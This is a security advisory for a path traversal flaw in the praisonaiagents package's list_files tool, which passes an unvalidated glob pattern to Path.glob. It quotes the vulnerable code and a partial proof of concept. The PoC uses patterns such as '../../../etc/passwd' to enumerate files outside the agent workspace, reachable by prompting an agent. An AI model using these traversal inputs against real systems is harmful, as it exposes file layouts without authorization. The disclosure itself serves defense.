GitHub Security Advisory: GHSA-7j2f-xc8p-fjmq
Package: praisonaiagents (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 1.5.128
Patched in: 1.5.128

Summary: PraisonAIAgents: Path Traversal via Unvalidated Glob Pattern in list_files Bypasses Workspace Boundary

Details:
## Summary

The `list_files()` tool in `FileTools` validates the `directory` parameter against workspace boundaries via `_validate_path()`, but passes the `pattern` parameter directly to `Path.glob()` without any validation. Since Python's `Path.glob()` supports `..` path segments, an attacker can use relative path traversal in the glob pattern to enumerate arbitrary files outside the workspace, obtaining file metadata (existence, name, size, timestamps) for any path on the filesystem.

## Details

The `_validate_path()` method at `file_tools.py:25` correctly prevents path traversal by checking for `..` segments and verifying the resolved path falls within the current workspace. All file operations (`read_file`, `write_file`, `copy_file`, etc.) route through this validation.

However, `list_files()` at `file_tools.py:114` only validates the `directory` parameter (line 127), while the `pattern` parameter is passed directly to `Path.glob()` on line 130:

```python
@staticmethod
def list_files(directory: str, pattern: Optional[str] = None) -> List[Dict[str, Union[str, int]]]:
    try:
        safe_dir = FileTools._validate_path(directory)  # directory validated
        path = Path(safe_dir)
        if pattern:
            files = path.glob(pattern)  # pattern NOT validated — traversal possible
        else:
            files = path.iterdir()

        result = []
        for file in files:
            if file.is_file():
                stat = file.stat()
                result.append({
                    'name': file.name,
                    'path': str(file),     # leaks path structure
                    'size': stat.st_size,   # leaks file size
                    'modified': stat.st_mtime,
                    'created': stat.st_ctime
                })
        return result
```

Python's `Path.glob()` resolves `..` segments in patterns (tested on Python 3.10–3.13), allowing the glob to traverse outside the validated directory. The matched files on lines 136–144 are never checked against the workspace boundary, so their metadata is returned to the caller.

This tool is exposed to LLM agents via the `file_ops` tool profile in `tools/profiles.py:53`, making it accessible to any user who can prompt an agent.

## PoC

```python
from praisonaiagents.tools.file_tools import list_files

# Directory "." passes _validate_path (resolves to cwd, within workspace)
# But pattern "../../../etc/passwd" causes glob to traverse outside workspace

# Step 1: Confirm /etc/passwd exists and get metadata
results = list_files('.', '../../../etc/passwd')
print(results)
# Output: [{'name': 'passwd', 'path': '/workspace/../../../etc/passwd',
#           'size': 1308, 'modified':[PII_REDACTED].0, 'created':[PII_REDACTED].0}]

# Step 2: Enumerate all files in /etc/
results = list_files('.', '../../../etc/*')
for f in results:
    print(f"{f['name']:30s} size={f['size']}")
# Output: lists all files in /etc with their sizes

# Step 3: Discover user home directories
results = list_